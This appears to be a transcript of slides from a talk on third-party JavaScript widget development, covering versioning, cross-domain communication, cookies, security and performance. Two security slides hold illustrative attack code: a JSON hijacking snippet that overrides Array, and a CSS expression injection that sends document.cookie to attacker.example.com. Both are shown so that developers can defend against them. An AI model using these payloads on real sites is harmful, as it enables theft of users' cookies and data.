2. Who am I?
• CTO, cember.net (%100 acquired by Xing AG; RIP)
• Project Director, livego.com (gone to deadpool, RIP)
• CO-VP of Technology, grou.ps ( http://grou.ps/ )
• JavaScript Engineer, SocialWire ( http://socialwire.com/ )
• J4V45cR1p7 h4x0R, o2.js, ( http://o2js.com/ )
3. Other Places to Find Me
• http://github.com/v0lkan
• http://geekli.st/volkan
• http://twitter.com/linkibol
• http://linkd.in/v0lkan
4. Outline
• What is a Widget? / Types of Widgets
• Challenges Involved
• Versioning
• You are not the host, you are the thief.
• Shared Environment
• Bumping the Cross-Domain Wall
• Not Your Grandma’s Cookies
• Security
• Performance
• Questions
7. What is a Widget?
• A Distributed Plugin
• Source Site ( widget provider )
• Consumer Sites ( publishers )
• Can have a GUI ( weather forecast )
• May not have GUI too ( analytics, statistics )
• Can be Stateful
• Can be Stateless
8. Versioning Hassle
• Types of Versioning:
• URL Versioning
• Version Number as an Init Parameter
• If it ain’t broke, they won’t fix it.
• When’s the last time you updated that Wordpress theme?
• Nobody will change that darn version number!
9. Versioning Hassle
• google‘s ga.js 2 hour cache time;
• Facebook‘s all.js 15 minute cache time;
• twitter‘s widgets.js 30 minute cache time.
What part of
“Far Future Expires Header”
don’t you understand?!
10. Versioning Hassle
• Far Future Expires Header
• Self Cache-Revalidating Scripts:
• A Bootloader Script
• A JavaScript Beacon:
• Returns 204 No Content if versions match,
• Returns an auto-loader if versions do not match.
• Iframe Refresh
• window.location.reload(true)
12. Act, but don’t be Seen
• You don’t own publisher’s DOM.
• Leave minimal trace behind.
• Do not slow down publisher.
• Do not pollute global namespace.
13. Act, but don’t be Seen
• Do not extend Object.prototype or Function.prototype.
• Show love to the Module Pattern.
• Do not slow down publisher:
• Async initialization,
• Lazy Load.
• Do not slow down yourself:
• Native is faster,
• Use IDs everywhere.
16. Cross Domain Boundary
• Modern Methods
• CORS
• HTML5 window.postMessage API
• Hacks
• Flash Proxy
• Hash Fragment Transport
• window.name Transport
• Iframe inside an Iframe (klein bottle)
• Use Publisher’s Server as a Proxy
• JSON with Padding
17. Third Party Cookies
• Can be disabled by default.
• Users may explicitly disable them.
• Ad blocker browser plugins may disable them.
• You cannot rely on their existence.
18. Third Party Cookies
• Meaning of ‚disabled‛ varies too
• Firefox & Opera:
• Server cannot read, client cannot write
• We’re tossed! (or are we?)
• IE:
• Server can read, client cannot write
• Webkit (Chrome & Safari):
• Server can read,
• client can ‚kinda‛ write (iframe post hack)
19. Third Party Cookies
• Check for 3rd Party Cookie Support First
• Don’t jump straight into hacks.
• External Windows as a Rescue
• A pop-up is considered ‚first party‛
• What about Opera & Firefox ?
• Store session ID as a variable.
• Pass to the server at each request.
• Do not store on publisher’s page!
• Use an IFRAME on API domain for security.
20. Widget Security
• Bottom Line Up Front
• Sanitize everything.
• First deny everything, then whitelist known good.
• Check referrers, have a list of trusted domains.
• Do not trust anyone.
function Anyone(){}
function Publisher(){}
Publisher.prototype = new Anyone();
21. Widget Security
• XSS
• Sanitize everything.
• Escape < > ; , ‘ ‚ into HTML entities.
• CSRF
• Use a CSRF token.
• Denial of Service
• Subdomains per publisher ( publisher1.api.example.com ).
• Throttle suspicious requests per subdomain.
• Best handled on network / hardware layer.
• Session Hijacking
• … is a reality.
• The only reasonable protection is HTTPS.
• Use Multi-Level Authentication.
22. Widget Security (lesser known)
JSON Hijacking
<script>
var captured = [];
function Array() {
for (var i = 0; i < 3; i++) {
this[i] setter = function(val)
{ captured.push(val); };
}
}
</script>
<script src="http://api.example.com/products.json"></script>
23. Widget Security (lesser known)
CSS Expression Hijacking
var _wd_borderColor =
'#000;x:expression(var i = new Image;
i.src="http://attacker.example.com/?" +
document.cookie);';
24. Widget Security (lesser known)
Clickjacking
• Invisible IFRAME positioned on a UI element.
Remedy:
• Framekiller scripts
• X-Frame-Options header
• Request confirmation for sensitive actions
• Register all your publishers
25. Widget Performance
• Minimize Initial Payload:
• Tiny boot loader, then load dependencies.
• Lazy load when possible.
• Combine and Minify Assets.
• Use CSS Sprites.
• Defer images (use a default image, then load
original).
• Minimize # of HTTP Requests.
26. Widget Performance
• Minimize Repaint and Reflow.
• Rate-limit Server Requests (throttle, debounce).
• Yield with setTimeout(fn, 0).
• Chunk large arrays of instructions.
• Improve Perceived Performance:
• Be an optimist: act, then verify.
27. Widget Performance
• Do not micro-optimize,
• Do not optimize prematurely,
• Optimizing without measurement is misleading,
• It’s hard to measure a third party widget’s performance.
• A lot of moving parts involved.
• Tools like jsperf.com will not be of much use.
• Do not use your 8GB Ram + SSD MacBook for profiling.
• Test on an low-grade machine.
• Do not forget mobile!